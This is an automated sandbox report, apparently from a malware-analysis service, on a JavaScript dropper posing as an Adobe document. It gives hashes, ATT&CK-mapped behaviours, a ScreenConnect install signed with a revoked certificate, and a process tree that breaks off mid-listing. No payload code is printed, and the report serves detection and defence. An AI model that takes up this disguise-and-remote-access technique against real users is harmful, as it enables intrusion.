e6115c16ea2b759c42bccf62e8f9e766481bbcdcbb16189bf95a7443608fe213

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 20:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Adobe-Document-2026_17597604.js
Size 1.0MB
Sample261110-y5ncdswxes
SHA256 e6115c16ea2b759c42bccf62e8f9e766481bbcdcbb16189bf95a7443608fe213
MD5 1ed0734336fec907a8b1866008172fbe
SHA1 0e70538c19f33c578489df858b67a73a300fc232
SHA512 984b4bdde3f5b8bad77a13786cb442c869d636b34a438a2f8bae7c6f9d28ac23add0ec778cd19b76d72628120f0228638da1b6b8aa5bd9dbe1fcf301f03af1f9
SSDEEP 12288:tHW9a/F/1mdJJat0FKuxlVVx644BQdTgrwfoMlqx/6AlErn:tnBeJEx/tlErn
TLSH
T19F35B634A996191BA413B22C02AF0140A1B4F943758DDC8CBBBCE7DD4F6F586C5A9ECD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	820	wscript.exe
7	820	wscript.exe
40	820	wscript.exe
50	820	wscript.exe
53	820	wscript.exe
55	820	wscript.exe
58	820	wscript.exe
62	820	wscript.exe

Signed with revoked ConnectWise certificate 6 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000b00000001c700-506.dat	revoked_cert_connectwise
behavioral2/files/0x000b00000001c6fb-524.dat	revoked_cert_connectwise
behavioral2/files/0x000b00000001c6fe-546.dat	revoked_cert_connectwise
behavioral2/files/0x000b00000001c6fd-545.dat	revoked_cert_connectwise
behavioral2/memory/3444-551-0x000000001B960000-0x000000001BA35000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000b00000001c6f9-543.dat	revoked_cert_connectwise

Executes dropped EXE 1 IoCs

pid	Process
3444	ScreenConnect.WindowsClient.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\kn\messages.json	msedge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5148_342455155\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DF497FDA6101CB8DBB.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D9797C4D-01BC-4685-874D-891B0BC81B3A}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB84822AB8AE3BC86.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DF1D88ADECCAEED005.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_259757354\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_1687659075\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_106870049\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_120219732\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_106870049\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_120219732\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_518575124\dasherSettingSchema.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
352	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1262770251-41185387-1005173349-1000\{A1B5EB6B-551E-457B-B030-CB131FBC1570}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1220	msiexec.exe
1220	msiexec.exe
6048	msedge.exe
6048	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5148	msedge.exe
5148	msedge.exe
5148	msedge.exe
5148	msedge.exe
5148	msedge.exe
5148	msedge.exe
5148	msedge.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5756	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5756	msiexec.exe
Token: SeSecurityPrivilege	1220	msiexec.exe
Token: SeCreateTokenPrivilege	5756	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5756	msiexec.exe
Token: SeLockMemoryPrivilege	5756	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5756	msiexec.exe
Token: SeMachineAccountPrivilege	5756	msiexec.exe
Token: SeTcbPrivilege	5756	msiexec.exe
Token: SeSecurityPrivilege	5756	msiexec.exe
Token: SeTakeOwnershipPrivilege	5756	msiexec.exe
Token: SeLoadDriverPrivilege	5756	msiexec.exe
Token: SeSystemProfilePrivilege	5756	msiexec.exe
Token: SeSystemtimePrivilege	5756	msiexec.exe
Token: SeProfSingleProcessPrivilege	5756	msiexec.exe
Token: SeIncBasePriorityPrivilege	5756	msiexec.exe
Token: SeCreatePagefilePrivilege	5756	msiexec.exe
Token: SeCreatePermanentPrivilege	5756	msiexec.exe
Token: SeBackupPrivilege	5756	msiexec.exe
Token: SeRestorePrivilege	5756	msiexec.exe
Token: SeShutdownPrivilege	5756	msiexec.exe
Token: SeDebugPrivilege	5756	msiexec.exe
Token: SeAuditPrivilege	5756	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5756	msiexec.exe
Token: SeChangeNotifyPrivilege	5756	msiexec.exe
Token: SeRemoteShutdownPrivilege	5756	msiexec.exe
Token: SeUndockPrivilege	5756	msiexec.exe
Token: SeSyncAgentPrivilege	5756	msiexec.exe
Token: SeEnableDelegationPrivilege	5756	msiexec.exe
Token: SeManageVolumePrivilege	5756	msiexec.exe
Token: SeImpersonatePrivilege	5756	msiexec.exe
Token: SeCreateGlobalPrivilege	5756	msiexec.exe
Token: SeRestorePrivilege	1220	msiexec.exe
Token: SeTakeOwnershipPrivilege	1220	msiexec.exe
Token: SeRestorePrivilege	1220	msiexec.exe
Token: SeTakeOwnershipPrivilege	1220	msiexec.exe
Token: SeRestorePrivilege	1220	msiexec.exe
Token: SeTakeOwnershipPrivilege	1220	msiexec.exe
Token: SeRestorePrivilege	1220	msiexec.exe
Token: SeTakeOwnershipPrivilege	1220	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5148	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5756	msiexec.exe
1220	msiexec.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 5148	820	wscript.exe	90
PID 5148 wrote to memory of 4836	5148	msedge.exe	91
PID 5148 wrote to memory of 256	5148	msedge.exe	93
PID 5148 wrote to memory of 352	5148	msedge.exe	92
PID 5148 wrote to memory of 3592	5148	msedge.exe	94
PID 5148 wrote to memory of 256	5148	msedge.exe	93
PID 5148 wrote to memory of 256	5148	msedge.exe	93
PID 5148 wrote to memory of 3592	5148	msedge.exe	94
PID 5148 wrote to memory of 5932	5148	msedge.exe	96
PID 5148 wrote to memory of 2348	5148	msedge.exe	97
PID 5148 wrote to memory of 5932	5148	msedge.exe	96
PID 5148 wrote to memory of 5932	5148	msedge.exe	96
PID 5148 wrote to memory of 2348	5148	msedge.exe	97
PID 5148 wrote to memory of 2348	5148	msedge.exe	97
PID 5148 wrote to memory of 1224	5148	msedge.exe	98
PID 5148 wrote to memory of 1248	5148	msedge.exe	99
PID 5148 wrote to memory of 1224	5148	msedge.exe	98
PID 5148 wrote to memory of 1224	5148	msedge.exe	98
PID 5148 wrote to memory of 1248	5148	msedge.exe	99
PID 5148 wrote to memory of 1248	5148	msedge.exe	99
PID 5148 wrote to memory of 4604	5148	msedge.exe	100
PID 5148 wrote to memory of 4604	5148	msedge.exe	100
PID 5148 wrote to memory of 4604	5148	msedge.exe	100
PID 5148 wrote to memory of 5664	5148	msedge.exe	101
PID 5148 wrote to memory of 5664	5148	msedge.exe	101
PID 5148 wrote to memory of 3216	5148	msedge.exe	103
PID 5148 wrote to memory of 3216	5148	msedge.exe	103
PID 5148 wrote to memory of 3216	5148	msedge.exe	103
PID 5148 wrote to memory of 5636	5148	msedge.exe	104
PID 5148 wrote to memory of 2344	5148	msedge.exe	105
PID 5148 wrote to memory of 5636	5148	msedge.exe	104
PID 5148 wrote to memory of 2344	5148	msedge.exe	105
PID 5148 wrote to memory of 5720	5148	msedge.exe	107
PID 820 wrote to memory of 4560	820	wscript.exe	108
PID 5148 wrote to memory of 2748	5148	msedge.exe	111
PID 5148 wrote to memory of 2748	5148	msedge.exe	111
PID 5148 wrote to memory of 2092	5148	msedge.exe	112
PID 5148 wrote to memory of 2092	5148	msedge.exe	112
PID 5148 wrote to memory of 2516	5148	msedge.exe	116
PID 5148 wrote to memory of 2516	5148	msedge.exe	116
PID 5148 wrote to memory of 3380	5148	msedge.exe	117
PID 5148 wrote to memory of 3380	5148	msedge.exe	117
PID 820 wrote to memory of 5756	820	wscript.exe	118
PID 820 wrote to memory of 3444	820	wscript.exe	120
PID 5148 wrote to memory of 4824	5148	msedge.exe	122
PID 5148 wrote to memory of 1676	5148	msedge.exe	123
PID 5148 wrote to memory of 3324	5148	msedge.exe	124
PID 5148 wrote to memory of 3280	5148	msedge.exe	126
PID 5148 wrote to memory of 3280	5148	msedge.exe	126
PID 5148 wrote to memory of 4924	5148	msedge.exe	130
PID 5148 wrote to memory of 4924	5148	msedge.exe	130
PID 5148 wrote to memory of 1680	5148	msedge.exe	131
PID 5148 wrote to memory of 1680	5148	msedge.exe	131
PID 5148 wrote to memory of 5612	5148	msedge.exe	132
PID 5148 wrote to memory of 5612	5148	msedge.exe	132
PID 5148 wrote to memory of 6048	5148	msedge.exe	134
PID 5148 wrote to memory of 5988	5148	msedge.exe	135
PID 5148 wrote to memory of 5988	5148	msedge.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Adobe-Document-2026_17597604.js
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandards/pdfreference1.7old.pdf
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ff899ddc188,0x7ff899ddc194,0x7ff899ddc1a0
    3⤵
    PID:4836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,5950172233225860622,17765751296432212179,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:11
    3⤵
    - System Time Discovery
    PID:352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1564,i,12257548132491076157,5368407767358890292,262144 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=2484 /prefetch:2
    3⤵
    PID:256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,3617236003850376635,7211388181978576869,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:13
    3⤵
    PID:3592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,16823292554303255250,3646151386422296913,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:5932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3572,i,15370045179588669610,6846138064501904203,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
    3⤵
    PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4384,i,8850463004435220659,2141864631040376906,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:9
    3⤵
    PID:1224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4372,i,15890787083118867909,6245028270358231,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:1
    3⤵
    PID:1248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3640,i,4868772815396442670,8882923112495966401,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:9
    3⤵
    PID:4604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,13990810618897326927,5355274122372596481,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
    3⤵
    PID:5664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5660,i,10072866652738369615,6780876113727228567,2097152 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:15
    3⤵
    PID:3216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,1843462106352500818,1636546101535554767,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
    3⤵
    PID:5636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5844,i,16744635905496137648,5613588002290860257,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
    3⤵
    PID:2344
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,2402751954142164676,3009902123978710844,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
    3⤵
    PID:3776
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
